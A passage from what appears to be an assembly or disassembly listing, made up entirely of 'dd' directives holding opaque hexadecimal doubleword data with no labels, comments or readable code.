0F822A981h, 6ACA031Bh dd 92B1883Ah, 416669F8h, 0AC80A65Ah, 2E00D89h, 0B46C35BCh dd 88D868AFh, 92771A1Eh, 0C0F38ECEh, 522EE88Fh, 0B0C40041h dd 831CCB1Dh, 1E039460h, 1F42E23Ch, 0F5A9B840h, 0B499009Bh dd 39151BB3h, 8F00A81Ah, 9F63E02Ah, 765DA957h, 89740005h dd 0A34D0B35h, 687C1411h, 645E9400h, 0AF5AE1E6h, 0E2A93015h dd 24113618h, 0B4357405h, 1848A442h, 59290103h, 0D081DCAFh dd 7C07151Ch, 7955BC80h, 0FA26C130h, 54760052h, 0BF963469h dd 0D328897Ah, 47B88CBh, 59BCA30Fh, 0FEFA00A1h, 7B33A496h dd 8F34005Eh, 7F357556h, 63B0EB80h, 94272416h, 70AE200Ch dd 51DA0008h, 36F1B17Ah, 8B126892h, 0E000C048h, 0A5677BE1h dd 625C0097h, 7004D9F0h, 5E765FB5h, 93525903h, 0E09598BDh dd 3F2B83h, 6A321C0Bh, 29949BC5h, 0CDE8E560h, 0E498A3B0h dd 47240BD7h, 0E880A613h, 4207D3C8h, 26C6106h, 3308A5Bh dd 0A0B8C1DDh, 10099C60h, 803758B1h, 8F8778C3h, 949D02CAh dd 621FEB04h, 146AE0F7h, 0C5C800E8h, 0B98C0D6Bh, 0DB307F76h dd 5C4D100Ch, 7EA615ACh, 50CC835h, 0CB39DE03h, 31F81201h dd 269E9AF5h, 0F09736C4h, 0E95503C6h, 173A677h, 165D9CD0h dd 406B2430h, 0BFF475h, 7BDF8667h, 740DF8A5h, 0AA5C1900h dd 0C792AFD0h, 26767562h, 5A7F459h, 0C9D4DA9h, 1F785B86h dd 90B9D02Ah, 5F209E05h, 82FA7AC7h, 1040F838h, 3CEED9BBh dd 0F9647907h, 65676003h, 0CD19C3AFh, 0B8589B0Dh, 3169488h dd 0F8AE8F1Bh, 8BFBDB69h, 9A2924C0h, 7641C200h, 0D0478EE9h dd 6BCA00E6h, 26840807h, 5F0052A4h, 2EC1DA0Ah, 78769828h dd 0F4E2005Eh, 9AC5E3F7h, 7100D55Ah, 0F50E728Ch, 0BAC81Dh dd 0DF6D8D25h, 0B9C29986h, 936A6B00h, 97DBB143h, 727400CBh dd 1E663A22h, 0A301519Ch, 0CCB9C760h, 2888962Dh, 0D88AD47h dd 0A905885Ch, 882EA888h, 4D80A003h, 9C145F16h, 3DE08499h dd 77082F89h, 225EE920h, 5622A82Dh, 8F4B4422h, 0B379D200h dd 0D6FEB429h, 0B5800078h, 0ACB6F857h, 7EF03701h, 26F279E2h dd 9F4138h, 810B4C04h, 0EE379897h, 0CDFF00FBh, 0EBD39E16h dd 11003F80h, 0F0AFD487h, 703C344h, 5920CE53h, 0F282102Bh dd 23001215h, 0CC977206h, 4148F09h, 38D38ED6h, 5D6A8054h dd 64007766h, 5FC7C58Bh, 0C68FEDh, 0AA72401h, 14898CD5h dd 0C3742CE6h, 0B8A10603h, 0B007FBA4h, 1A6622h, 0E803FF2h dd 8C945160h, 249E7D03h, 0D8BEED3Ah, 7097427h, 6A801BD3h dd 458653FFh, 685ADD90h, 0ADB1E500h, 7A152A54h, 1AB7C3Eh dd 5C36F6DCh, 0F03732F0h, 930097BBh, 0A7C252A0h, 3F47110h dd 8F11749Ch, 0C588A9D4h, 0CA00599Dh, 0F70C2191h, 0BA7140h dd 8B7692Dh, 0C4A74585h, 0EB0E3B1Ch, 513D0140h, 4C70D3h dd 27FC337Fh, 0F5D49CFEh, 4B5AE500h, 340864A6h, 0D3B00E83h dd 6D47238Ch, 1E11A180h, 663F306Fh, 1A02EA0Eh, 2A81A01Ch dd 11014BCh, 9E398B5Fh, 0FB6E41E6h, 0EDA11100h, 2367273Ch dd 0BD4600ACh, 0FEC02882h, 0B01CFD72h, 0A2C059E4h, 26AC1B90h dd 5D00077h, 0B5229341h, 9D07B44Dh, 73076020h, 307BFE80h dd 0CDC12C51h, 94090068h, 8AC9ED42h, 45BE1100h, 1A836FE7h dd 0F0C43D26h, 0C7DAC303h, 1F8D23BCh, 0A6D6808Fh, 0D0F6619Fh dd 7CFD2100h, 0CC6A0CA1h, 493400CBh, 0AABCDFE1h, 2D00770Fh dd 1BD7E253h, 7E84C6Eh, 99B6058Ch, 2ECC3088h, 0F5003DFBh dd 189B3E96h, 754BB390h, 0BBE0AEh, 0A531045Eh, 1D871F09h dd 1E76AD00h, 0B9E5B3FDh, 23B50090h, 0E8CE575Eh, 5FE49E08h dd 722AF200h, 6EED851Dh, 51A1002Fh, 0C0883CE7h, 0EC003675h dd 0F43102D1h, 66F30EDh, 0DBC11318h, 570C104Ah, 30AE19E3h dd 8F900011h, 1216AB67h, 7AFED259h, 0C6006576h, 27A06EB1h dd 0F7B979h, 8A4946A3h, 0FFFD88A8h, 21921C07h, 0BAB340E2h dd 54F1A81Fh, 12F0DAh, 0DFDD6289h, 571BB5EEh, 67BA51Dh dd 0DE5F80FCh, 0F9516C54h, 4344005Ch, 0BF207118h, 9400C7A2h dd 91D26859h, 0FF922Fh, 84EDB06Fh, 2D5C7489h, 962A1506h dd 1ECA4876h, 5F7B338h, 556BDDh, 0D246A7A0h, 3579B208h dd 1B328300h, 0FF077CD5h, 3D17550h, 5A67CDB5h, 0C4C8CB05h dd 161B5C92h, 1E28852Bh, 0F41711h, 96B6150Eh, 0D60055D1h dd 86E5CAC1h, 0AFC37Fh, 27FF6239h, 0A8426EE4h, 0E7046C71h dd 0B2E9B138h, 32CD5B80h, 1730007Fh, 0FDC90F3Ch, 0F000A6CBh dd 689B2080h, 1D23FA6Fh, 7A61268Dh, 13EAE800h, 0B64E6C89h dd 10391600h, 5AA8713Bh, 56870E1Eh, 0D6E3F197h, 8898F99Dh dd 0E700056Ah, 5CCE78BEh, 79C2922Eh, 4893035Ah, 0F4461E24h dd 2C557800h, 96DAADDh, 0E86B387Eh, 741700FFh, 93086C85h dd 0D4A8E50Bh, 0B171EE4Dh dd 28C57601h, 73C7D51Ah, 609D5BD4h, 0DDCB012h, 8100332Ah dd 0AA6AEE2Dh, 0FCD2825h, 5E66E706h, 0F93B8240h, 0A100D461h dd 99AEC035h, 7846F37h, 71BB7570h, 581ED089h, 0A6006C6Ah dd 554AA51h, 0F84A815Eh, 0B421004Eh, 4B9EAE10h, 300B1744h dd 807A6D7Fh, 33CD4DCh, 0A2A0004Eh, 0F271860Bh, 0C70069B2h dd 68C6248Ch, 2DF5AF5h, 3C30E67Eh, 0AC410BF0h, 0D590D3DDh dd 743C8246h, 59010055h, 428B1A92h, 2850112h, 620B9810h dd 0ED31E840h, 735E721Ch, 0CD835A40h, 0E0D6F1h, 5B5398A7h dd 0D191FC79h, 967EEF00h, 2730FFC5h, 3B127C85h, 469EBB83h dd 0A1D1007Fh, 0E503BE5Ah, 4F2A4500h, 0FF491666h, 73960E44h dd 0DE20E7B7h, 0FB2F335Bh, 3C910412h, 0E04C7E0Fh, 957EBDDDh dd 50F960EFh, 0B84DDBACh, 7B67EB00h, 421FD671h, 5F300319h dd 0F9F4EDD4h, 0A2C1F401h, 2355CEC5h, 1D7127ECh, 80D81BCCh dd 6DF4F366h, 91005D4Ch, 0B2E072E2h, 0F20BB562h, 770E8DAh dd 79B49D43h, 0E0D20758h, 0AB779818h, 2AD05217h, 809CA90Fh dd 7E91728Fh, 188909Ah, 871C3635h, 0E0A1ED71h, 80006FF6h dd 0CDFB0AC1h, 1F798A4Dh, 4038C31Eh, 464F44E4h, 0D00162Fh dd 0FC4E2047h, 5CE787DAh, 772C469h, 2144D5BBh, 80B41A14h dd 387DBFAh, 4A071A3Bh, 771EC581h, 5F487330h, 0EB80050h dd 120BFF52h, 0E1011B3Fh, 0FA9F1958h, 0B7E48EB6h, 703507F9h dd 71D7A014h, 0FCFDEB62h, 5F00CCC9h, 89B98691h, 744D3F92h dd 938B0995h, 2020BBD2h, 0E685E156h, 3E346B4Ch, 0C131230h dd 9C82B01Dh, 5FFE6463h, 0C81E4341h, 9093988h, 82CC5B70h dd 0C072D804h, 0F771F232h, 0FD20DC40h, 0EF1D00F0h, 7BBF5D79h dd 820CF5F1h, 31635F23h, 39B7F6CCh, 0E100FF05h, 17E84696h dd 8D007012h, 0EBF27F5Fh, 61C457h, 3DB78994h, 72BB9A90h dd 0B355DF07h, 0E8101DACh, 0D0069Bh, 6CA2341Eh, 451F3E75h dd 89A8F800h, 4164EB7Eh, 0E81560D5h, 60988D11h, 0E90F961Ch dd 44922A40h, 0B19AA64h, 8CD8B7FFh, 0A6EF1803h, 8E2DF6A8h dd 9C2FE100h, 89CFE438h, 4464003Bh, 0B9A5355Bh, 0A35074B5h dd 7B0EDAE0h, 2F41FFCAh, 0D22B802Eh, 0B8B89F47h, 39BB73A4h dd 0A2007AAAh, 8A127D98h, 0D001A956h, 916914DBh, 0DB4009AEh dd 5ECD679h, 980B0518h, 7EC80E56h, 94A24B09h, 9420A636h dd 39DBF424h, 81286796h, 0FB1D01BCh, 0A79C400Eh, 1211C4D5h dd 0A4DCA200h, 7BCD061Ch, 945800B2h, 0BB594668h, 74001226h dd 2EFD66EFh, 0E45A4E50h, 6296A095h, 322500A4h, 0B62C29D0h dd 0DE007797h, 0B45F536Dh, 1D830Bh, 2E512D28h, 0A31819DCh dd 2F6DA80Fh, 80646E33h, 96D61DFCh, 4D290032h, 758EB222h dd 5FF87C93h, 0CFF6C700h, 0F0179E5h, 0DB6B0BCBh, 0B780FEAFh dd 0A145995Eh, 58367F07h, 94CC750Dh, 78BC00B1h, 4331CE01h dd 0B2014A89h, 3AC204A4h, 0ADF890C9h, 0F0800EFh, 4D10EC86h dd 8E00416Eh, 2E471720h, 3CC59249h, 8405FB9Bh, 4085D5B6h dd 3D183AE0h, 0B4A8C307h, 300BC71h, 0D6CF377Eh, 545D9Bh dd 3B29F884h, 0F334CD6Dh, 2800AAF0h, 1FC5FA43h, 0A8B96F4Dh dd 488C4h, 20FBFDC7h, 63BA39FCh, 17570700h, 8ECD19E6h dd 0BBD0088h, 76EB4A9Eh, 28F6B14Eh, 32E4CF03h, 50C3F708h dd 1886439h, 0F243247Fh, 0F45BA91Ch, 0EC1FE279h, 0E396B00Ch dd 42D82C00h, 0E035FE7h, 953227F7h, 0BF665020h, 370058ADh dd 17F646EDh, 0EA3DF99h, 257DAC4Fh, 0C0CE7704h, 0DD05830Bh dd 6DD8B800h, 0AA4BAA6h, 949C07DBh, 93996C33h, 1CE0F236h dd 0C100B210h, 0A98428Ch, 2EA1BD4h, 5F95969Ah, 0EC865568h dd 2A05104Fh, 3BCE59F2h, 99BFCB80h, 347B0A7Fh, 80E82D50h dd 292065E9h, 0C107D7D1h, 4C4E629Ah, 0B7E1D5F0h, 655000A7h dd 0E5A62C37h, 5501B86Dh, 9F46BEEAh, 51F43EA0h, 29D258CEh dd 2EC79D01h, 40A2203Dh, 0DEC252E8h, 2900C891h, 1CA97C5h dd 429E0013h, 159ABB4Fh, 96F010CCh, 0D1678417h, 0D2B8C300h dd 4849E4h, 0DFBD7A56h, 516A1647h, 0CCE3EE24h, 499A1C00h dd 7167F63Eh, 9B24240Ch, 37A2CD4h, 0D18A4B29h, 70D0D3E9h dd 30BD898h, 81F9C3F1h, 78A56A30h, 0E6BBCFCh, 0F59669C6h dd 0B6E9D7E0h, 55005399h, 38C0D435h, 2F8B81Ah, 0E1CE5A59h dd 0A0E027ABh, 0A50B94D3h, 10A9F5E5h, 71565308h, 724600B3h dd 9F8779A4h, 9313BD3Bh, 200051D6h, 5735FF36h, 0DAB51D07h dd 0A3B183D3h, 2CF0858Dh, 0DF71C672h, 0AAF5FB00h, 787619Fh dd 83661DA9h, 0B201C050h, 39DD1A97h, 3B00F89Ah, 0BFAF606Ah dd 4F456Ch, 78AAF115h, 503DE3FAh, 2FFF5400h, 9E930741h dd 0C5890056h, 0E0C0D837h, 7F01E85Eh, 468199BBh, 2FDCBA40h dd 1C071F6Ch, 0EE9C0E86h, 0B5E0B82Fh, 0DFDD4289h, 9D55F707h dd 0ABB04150h, 0B7E8A9A8h, 2844C6C0h, 559ACE03h, 0C2713A98h dd 3E04862h, 947B002Dh, 539FED26h, 9C025086h, 0E9387DA6h dd 0E5B8830Eh, 0BC25B02Ah, 475091Ch, 5461A64Ch, 86B7109Ch dd 269826C5h, 40E31F90h, 0DA6E7C55h, 250083BCh, 39532F22h dd 0FA0E27h, 4A0B2876h, 8095A6DDh, 6C372A2Eh, 57D29B00h dd 3B4AB19h, 794E88EAh, 40CF5363h, 0CBE8F2E1h, 0AEA50400h dd 0C52CCDF0h, 886404F9h, 8014743Bh, 0E4A0941Ch, 0E78B2803h dd 0B8B76B9Ah, 1E1BDFEFh, 0C0FF91ADh, 703433C5h, 6B00DD32h dd 996253ACh, 1DC34965h, 80918152h, 2A4D1821h, 97001BA8h dd 86943EEBh, 3FCAADh, 79D0E549h, 5791D3E3h, 5437B300h dd 9286964Ch, 77160075h, 61803860h, 9006D66h, 0E56A6806h dd 0ECD96BEDh, 0DA056048h, 0BEFC99F8h, 0B702DB07h, 0B6446788h dd 310D3880h, 8F570039h, 0BE49BBB0h, 0F3005635h, 0EA030781h dd 1E408E0h, 0D3688D02h, 0CC95FD12h, 4F046046h, 0DFD8A225h dd 9C9F41C0h, 2E22005Ah, 8F492934h, 56008538h, 0EFFAA06Fh dd 23CD11h, 76874BDCh, 8CAF205Dh, 0F3912400h, 0B9BCA157h dd 0C35309BAh, 0AC000525h, 83FA0AA3h, 3B22C602h, 48442171h dd 0F15824h, 0CB52D1A8h, 0FDD66C8Ch, 4E00D7FAh, 3ACF7E55h dd 77370328h, 0E68E0030h, 5975E4AEh, 3B601368h, 3C0ACA19h dd 0A3E907DCh, 9C7D4Dh, 87DD98C8h, 0A9C2F304h, 0B0C0100Bh dd 8B1827h, 7B59CBD2h, 0CAB1A656h, 63BAF0Eh, 472F4373h dd 14299853h, 0E0D117FAh, 0B3C800E1h, 0EBEFBFD6h, 0FF2712F4h dd 205E4Bh, 0DD9637Ch, 0E6003F13h, 15FE5F6Fh, 35A6C16h dd 0C59F9A6Dh, 38F890C0h, 4BB0E1AAh, 75EA6907h, 0B11247A0h dd 0A3ED8096h, 0F8D812FDh, 1CFA0E4Ch, 0D920C55Dh, 2576196Eh dd 5C99E000h, 4DF36C18h, 0C6FD00CAh, 58EC4C10h, 54003407h dd 0D662B427h, 0E6B2152h, 9BEB2A19h, 0A4205980h, 0D226BDE3h dd 3726B422h, 87DAD000h, 4BE11Ah, 0DE919AF8h, 2197C71Dh dd 0AB732C00h, 0C29B856Ah, 557600C1h, 0EEEACBA2h, 8F0F1826h dd 54A599h, 948E896Fh, 77071848h, 7FDA8433h, 0AF8C1800h dd 0ED4B85A0h, 9364009Dh, 8F0F6A46h, 300A9B9h, 0FE3F9BE3h dd 9030CAh, 8A2FD53Ch, 98C08C1Ch, 0FFA37900h, 21830310h dd 862005Dh, 0AAE7D882h, 0A4007436h, 6EC7982Ch, 0ECC185Fh dd 0F1D945Dh, 89618C00h, 650027F9h, 0BDFEE7DFh, 0F93220E3h dd 0F11B1E0h, 0C20A2E75h, 24F94C63h, 16CF7C88h, 4E654D00h dd 5618C506h, 3F7898h dd 34D579E2h, 6049E080h, 0A3BA1200h, 76EF38E4h, 67290061h dd 58B95ADh, 930B0824h, 8014905Ch, 682D8EB6h, 381C000Ah dd 81BFF8D5h, 8C004B6Fh, 0D21BE152h, 4060EFh, 19DE5B54h dd 9A6CDBD6h, 0F30025FEh, 0D1BD7C0Fh, 7853FE17h, 0F71A4C4Fh dd 34820078h, 49C6C905h, 391E5C88h, 128DAF31h, 0E9E08041h dd 6462F0B4h, 40921A4h, 0D142052Ah, 0EF60FEB4h, 0D67BCADFh dd 43D89B00h, 111BF61Ch, 0C8CF60A9h, 0F3F81A3Ah, 3CD4B43Ah dd 6F3E93h, 4EE3E7C9h, 0F844B566h, 4FC0034h, 0D0741CC1h dd 0BD0240D1h, 0E5BAAEB2h, 6424026h, 0D9E9242Dh, 585D180Eh dd 0F900D36Fh, 0F3E850A1h, 0E8F0D879h, 1DE34CE5h, 0A4A62Ah dd 135DD23Fh, 0DAC0AFA1h, 3E306C1Fh, 70456A00h, 36ECDD5h dd 0D4A3C79Eh, 19C8921Dh, 7E00D735h, 0D27127FBh, 0C155BFh dd 7A20F007h, 0ABA803EDh, 0C93E4600h, 0A47B1238h, 4B1D0587h dd 7E94E69h, 60E268CFh, 34366471h, 0E85B4724h, 3E051300h dd 0F1E4378h, 0D61CD9E7h, 0A3B001FCh, 0D09EC13Fh, 5C3A9ABCh dd 0E554004Dh, 52F9333Ch, 72760390h, 0C887670Ch, 50A1CBC9h dd 6A1520C4h, 0E2A3C601h, 0F6FBCC45h, 918330h, 1817042Ch dd 0A3C5F706h, 8A289339h, 20E421EAh, 8CF73370h, 0D9A5CD0Ah dd 5785B850h, 0AC45AB1Dh, 0F05FE2D3h, 1191CE02h, 0FC14803Bh dd 7A1F7FB4h, 0CF0107E9h, 430653D1h, 200297D9h, 747F6C9Dh dd 80F2C289h, 0DCDA1EE7h, 0BAA2181Ch, 17EF59D1h, 0C1263605h dd 8C079746h, 8879B51h, 0C85204Ch, 0D4C26E5Ch, 0F998CF31h dd 8E27700h, 984EA1FCh, 0C069E8F3h, 0D8C65D21h, 8300BB1Ah dd 7ADE154Ch, 55BE1816h, 0E08890A6h, 3C02884Eh, 44D9C192h dd 321A0F24h, 1689C813h, 94B56403h, 31D10830h, 0A132B75h dd 55036E9Eh, 6D858084h, 83F79495h, 701A0FEh, 32FB7328h dd 0F0416420h, 0D313FFCCh, 90A097C2h, 0DB875B3Ch, 9C9B0C1Bh dd 312AE061h, 0DD78A0DAh, 7D19C065h, 64C1CB0Dh, 0C7FBD000h dd 0B2B9DFDh, 0D7CD0038h, 932CE5F1h, 20E0C371h, 6A6D181Dh dd 0C3FAB07h, 0A0C07687h, 38C3BC2h, 0A39AC58Bh, 830DD83h dd 0CACD2154h, 7B701C3Bh, 77DAC048h, 6F7CC7Ah, 9271AA06h dd 0E0281DE8h, 0DF4C0080h, 27DB75Eh, 0B53A9F04h, 21C27503h dd 0FDE4A5D3h, 0FAC17280h, 0FD18F42Ch, 6B201993h, 0D5D00A1h dd 958E2FEDh, 3500F320h, 286AE447h, 74F7926h, 585D6663h dd 96D04CFAh, 3A4D8C1Fh, 1DA48A81h, 88C63F1h, 0BB2067EAh dd 0EB4D9403h, 0C0321E7h, 0F92B37D1h, 4F007E41h, 919CC15h dd 33D89CE4h, 792807B9h, 0A3DEC380h, 5F40C783h, 3D94C59h dd 25F5746Ch, 0CCA37DC4h, 17622100h, 0BF996659h, 750A03A4h dd 0FDF1C906h, 2DDAE9D0h, 0F150456Eh, 2C838A00h, 37E81290h dd 740DF138h, 0D001EA28h, 1676A446h, 108B893Bh, 0AADCD014h dd 27C6249Ch, 157000B5h, 0B03932A4h, 55A70205h, 2420A520h dd 23923B3Ch, 9F11B58Bh, 3BC4C700h, 0DB271A46h, 62BFEE00h dd 15558C93h, 897000Fh, 8A16206Dh, 0A3041801h, 3371ABA4h dd 4A90098h, 0B5B75BE4h, 24E02C03h, 0A2E4A6h, 1FA41771h dd 0E602B151h, 7887AE33h, 0F0DC902Ah, 35B70017h, 1B319854h dd 0CB00FC61h, 0E303871h, 0E02AEAAh, 5AF53F10h, 0D088D8B4h dd 0A95958C0h, 7DC421D6h, 8300D091h, 61785910h, 0F454570Ah dd 9D00A3CCh, 0D769FE6Eh, 0D69108h, 0CCF1F5C0h, 0EE5F75DAh dd 38ACC600h, 70BB69E6h, 1080E964h, 54E19508h, 35EC7DE7h dd 8666F31h, 209F6AECh, 9CE1002Bh, 0DE720BB4h, 23F7CF1Dh dd 7EAB7880h, 7D486F55h, 0B03F0525h, 399EABBh, 0F9042DEBh dd 0E0E831D1h, 0E6002836h, 0B74E9109h, 3FF2109Dh, 0E2804BDAh dd 0A4CD47D9h, 9A3871B6h, 2B5A866Bh, 74B0EF26h, 44931BC2h dd 98C04835h, 0F401E2C8h, 0A80673CFh, 8982BB7h, 31F5211Bh dd 5F8BE701h, 0CEBEB036h, 52C19C8h, 2B76C0E0h, 952C4852h dd 0F2E2D2C0h, 5E321CFh, 0EB001C91h, 7334E73Bh, 0F8008F0Ah dd 4124C17Eh, 3DE64D5h, 8A3E3857h, 5AB085A5h, 0E88B312Fh dd 60D524ADh, 2E2C1037h, 0AF3C04EEh, 0AC7C0338h, 0A4A640E1h dd 71E90F1Dh, 8CF0DC40h, 683A286Bh, 21CD3095h, 71F167h dd 0CC14B2FFh, 569141F8h, 2FC44C00h, 0ED7EE06Ah, 0E370CCFh dd 38E94F44h, 0A04D791Dh, 0B5A51520h, 6F7CFC61h, 0CA805921h dd 0CE1B5DB7h, 0A1746F12h, 31FF1422h, 0E7AE8989h, 1314311Dh dd 0E191AF10h, 60293200h, 668CEC70h, 28C005F4h, 422A2B5Bh dd 25795888h, 7DA53C81h, 62C080CCh, 281621A1h, 21586147h dd 22CFA566h, 26AC405Ch, 0FA582B44h, 0ABA518C4h, 0B9D8165h dd 80ECF650h, 0E2C9048Ch, 62DBCFF5h, 0E90A094h, 7C20E73Ah dd 1120255h, 957275F4h, 89A2D486h, 0BF597000h, 2A5722C1h dd 287611E9h, 54B805FEh, 0BC2DEC17h, 30FEA002h, 5311E190h dd 7B8895E7h, 0E1982E80h, 54428B17h, 7390D9h, 4FEA51F9h dd 0DBD1083Bh, 24CA5600h, 8FCE4379h, 64C34864h, 0EF4394BCh dd 5434AD00h, 7BC446A9h, 0FCF94B28h, 0BF1389C0h, 0DAFAFFh dd 0C629455Eh, 2D6976B7h, 0AAD0FE00h, 0EF68B25Ah, 0F5F1090Dh dd 0A80715Fh, 0C34D8306h, 0A458CA01h, 0A247423h, 728D8840h dd 357218h, 20627F5Bh, 1CB49AFFh, 6AC69800h, 8D34B9CFh dd 0C24900F6h, 0ED87DFA7h, 0AD00DBD8h, 0ACD445E7h, 1A8EFF3h dd 6446DA62h, 0C41DEBC9h, 21002ECDh, 0C8359B9Ah, 2C2993h dd 0E27B86C1h, 0E752184Bh, 44BEC0EBh, 31BA4A00h, 0C94F078h dd 0D48D1D8Ah, 80AE1F0Eh, 23A6E7DCh, 261C5CC4h, 5887FBE0h dd 7C607818h, 0FF3B06Ch, 0B53F7106h, 57807E7Eh, 0EA2679FBh dd 0BA00CBCCh, 1A1AD34h, 8259C1h, 0DDFA47F5h, 0AA5BC52Ch dd 9C752800h, 5604B0BDh, 87930C9Fh, 8AC01C91h, 0B889CF3Fh dd 28C7BFA1h, 0A92A86D9h, 0E9008069h, 0FBF45511h, 38EBDF71h dd 0C814E8Bh, 5D6CCDE2h, 5515F494h, 0EA032400h, 0F79E99FEh dd 1AAD0246h, 0AC4BE152h, 4E06A080h, 550077C7h, 7F6A929Fh dd 502E4536h, 7A94C078h, 14301CBFh, 6E2800EDh, 3C4E7B8Ch dd 35D640h, 4621BBBDh, 2FE6D951h, 1ADFEA00h, 0D98ED4Eh dd 4D2E0056h, 63B90B8h, 0CC1DE023h, 6E0051FFh, 8EA2A976h dd 4BC0CF7Bh, 0E145A480h, 8A001CEEh, 90F54E6Ch, 0C6B5C9h dd 13C2799Fh, 58B676AFh, 0C0D440C0h, 17964668h, 0EC95CEE1h dd 656300F5h, 0EF9D2FF5h, 0A5B12A2Bh, 94103A0h, 6658E124h dd 87978190h, 25B2AB00h, 5DE31934h, 382C0057h, 767D1549h dd 91008CA6h, 0CE132452h, 50C15A58h, 0F7148B23h, 44348080h dd 7389C8B4h, 18564F01h, 91AA4CEh, 0E078E042h, 0D6A69B6h dd 3B47428Fh, 0D6808140h, 0D827B351h, 1811C050h, 10F93EADh dd 618640E2h, 90738084h, 0DE37E020h, 0F6930F00h, 72AC33E5h dd 571B81Ch, 0E8A0F317h, 40A01E21h, 3A5C5EF2h, 6F009ADEh dd 0D76A9B27h, 507D649h, 0E391EFA0h, 6EB70731h, 798EA0A4h dd 0C203A653h, 4373773Fh, 0B4F19071h, 45FF00B7h, 7253F35Eh dd 2726C24Ah, 0E31E06CCh, 3F793980h, 8DD7E6h, 0FD7B62E5h dd 780CAF85h, 806411Fh, 714B100h, 81CF15h, 0B31FF70h, 0F6D4DF4Dh dd 0BC399E1Fh, 565B9607h, 33F34EB0h, 6EB80176h, 12200DFFh dd 0E24080BFh, 0EB0B135Eh, 0EC70BDh, 66F6F0F5h, 2FAE725Dh dd 2C9FB62Eh dd 5FED8600h, 793BE4h, 980F50A3h, 0E9ADA023h, 7C11EC2Fh dd 0A8E70340h, 0EDD80458h, 37001441h, 0B530AC32h, 0EBD4CDh dd 64B77BB2h, 0D9201E52h, 5F332918h, 4EB430h, 16CA975Ah dd 1F731E1h, 0DD072990h, 24500A2Eh, 354688E7h, 78720186h dd 92D40B7Dh, 9180305Ch, 516097E8h, 787ACD20h, 0D1DF0780h dd 0F770BFD4h, 29C6CE60h, 95797139h, 0BE794917h, 0B68D3406h dd 21616009h, 624908F5h, 16A05300h, 5A9BB873h, 76DF00BDh dd 0D83EDC04h, 9C00D4DEh, 8150866Ah, 67ED3A6h, 557B98C0h dd 8014838h, 0E68D17B2h, 75FCCA33h, 5130C1EBh, 30DC7BE8h dd 0F528F384h, 380584E7h, 7C0825B5h, 215C2038h, 67816BEFh dd 8DAC0235h, 4F89Dh, 0C33E986Ah, 870EB359h, 8CBCF10Fh dd 4C21B4h, 604A9822h, 713CCEEEh, 0FD5D8300h, 239F75D1h dd 803F54E3h, 0D07169h, 0A471B35Ah, 0A5D47EFFh, 0ABE0AF63h dd 21510788h, 101E6E9Eh, 7AFDB49Fh, 0DA8EC000h, 49D14D77h dd 286B40CBh, 580CA949h, 7A6D07DCh, 0FF30ECEEh, 9D4B26h dd 4A27D253h, 8E3CEA20h, 4DA1911Bh, 0C1ACB830h, 55070051h dd 0C96C83C5h, 73710FA8h, 66D8DF03h, 40AB0Eh, 0D6DC1C91h dd 80F1B45Ch, 8D568400h, 0C63639E4h, 75B5009Dh, 1D9F46B6h dd 9518307Ch, 3CF14009h, 308649D4h, 0CD7FE100h, 730845A3h dd 8AC81707h, 417655D0h, 0B6421B69h, 87C03853h, 50003D59h dd 21E0B28h, 0C08E91DCh, 0FF06B0B8h, 0C8037116h, 380755FDh dd 0C140004Ch, 0B2C46CEFh, 0FC0125EAh, 59F6B79Ch, 0B1D866CBh dd 0D6A80050h, 0E1714F9Bh, 1CFC3CBFh, 39F55600h, 0B195F738h dd 520A1FE3h, 7604408Eh, 1EA1E4A4h, 0DBF6C600h, 1A51F147h dd 1BD97F6Dh, 61C79158h, 0A9D864B8h, 531C30D3h, 9157E340h dd 0B28D51h, 0E871C7F2h, 76E4A5D5h, 17F51219h, 52D42540h dd 0C5613081h, 569D0430h, 0D8F2002h, 40DF19AAh, 1C507018h dd 806CC32Eh, 0F7DC2D13h, 73005A76h, 8479AA22h, 0FD530B4h dd 916B5989h, 1099007Dh, 0E1F61ADBh, 66E99F00h, 0B36F623Ah dd 2E140546h, 6E6A95ABh, 49A63404h, 0F8AB043Ch, 90331DAEh dd 1F5E024Dh, 361083FDh, 563508A8h, 700C98F8h, 626F2880h dd 0DAB3088Eh, 4E656E01h, 182056h, 82E75C99h, 8B05B935h dd 0F71BD0F8h, 28094C98h, 66185F50h, 606F4034h, 796F3483h dd 94CD8E71h, 8978361Ch, 0F9B57710h, 10145059h, 9AF06022h dd 1F041308h, 1497E770h, 0B43444D6h, 1C0411C9h, 740D708Eh dd 0C08A170h, 7C148714h, 0EF4CF950h, 242E20CAh, 0B050146Fh dd 37E59D6h, 393AE07h, 0BB80FE18h, 0E08BD1AAh, 14EA570h dd 8E341217h, 0A01FFDD3h, 4871008h, 23B14CF8h, 83D79C4Eh dd 31BE1F43h, 6F93FE1h, 1C150F18h, 2E604477h, 203E92A8h dd 86FCC60Ah, 0E20720A0h, 23B03431h, 0C38EFF61h, 73286519h dd 301C3918h, 67DD2050h, 66E5209Dh, 0F4FF490Eh, 62008BFDh dd 3FCC7CC2h, 31444E47h, 5560B2E1h, 697FC47Dh, 404B71CFh dd 1C7340B4h, 0D83228D3h, 0FDE70C34h, 77484FF3h, 1B0C9607h dd 0CDD01C29h, 74B10DC0h, 0EE7E74CEh, 0CAD0063h, 1A87B2F7h dd 28308D30h, 0BDDBA9B0h, 8476259h, 9F007B58h, 0AB652043h dd 748338Ch, 3CC07A09h, 0BD000EE0h, 0E61AF7A2h, 75D8975h dd 328D7DACh, 4F1BB026h, 240E66BDh, 40CA64A8h, 0D1C9ECFAh dd 0FC4A471h, 8928B07Ch, 570C8CB4h, 7DE97784h, 441F90Fh dd 3ECC3F30h, 2EF4899Bh, 62CD5Ch, 0F66EC68Dh, 3119699Eh dd 0AA285A29h, 0F832B853h, 0C3C53DF9h, 0ED8CE11h, 0F1F67E0h dd 9E01F7F0h, 9DF534CCh, 9CD15C02h, 0C77830A0h, 403FBFE1h dd 2339B301h, 0F7B26900h, 3115CF1Dh, 0B6E80066h, 63EA987Ah dd 10A0B3FFh, 4E0FB887h, 19412F8Dh, 43D10DA1h, 412BAC42h dd 1880D20Ch, 0F9781BB2h, 570358E8h, 24615594h, 8A5024DDh dd 4CA8A12Ch, 201E1010h, 6702552Eh, 0AF3192DBh, 0C17C6DA8h dd 1404F6F0h, 0B8D08670h, 4131A1A2h, 944F2D10h, 0D9E84D79h dd 99ECAAB8h, 0D34A500h, 7E623320h, 0DF2792Bh, 8E179454h dd 0E620504Ah, 0A4A08915h, 0F4A35B65h, 0E707D000h, 0C555AD2h dd 0A6DA1E6Fh, 0CC870399h, 0C8007E1Fh, 0A933B125h, 1E0EC63h dd 9F388007h, 2031C855h, 4D419D50h, 492061C0h, 0B05908Ch dd 4204FF62h, 0B4871C90h, 